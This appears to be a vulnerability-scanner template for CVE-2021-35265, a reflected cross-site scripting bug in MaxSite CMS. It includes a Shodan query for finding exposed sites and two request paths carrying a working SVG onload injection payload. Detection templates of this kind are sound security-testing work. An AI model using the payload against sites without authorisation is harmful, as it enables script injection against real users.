id: CVE-2021-35265

info:
  name: MaxSite CMS > V106 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
  remediation: |
    Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
  reference:
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
    - https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35265
    cwe-id: CWE-79
    epss-score: 0.00127
    epss-percentile: 0.4714
    cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: maxsite
    product: maxsite_cms
    shodan-query: html:'content="MaxSite CMS'
  tags: cve,cve2021,maxsite,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
      - '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(document.domain)>'

      - type: word
        part: body
        words:
          - 'mso-comments-rss">RSS</a>'
          - 'MaxSite CMS'
          - 'feed"><span>RSS</span>'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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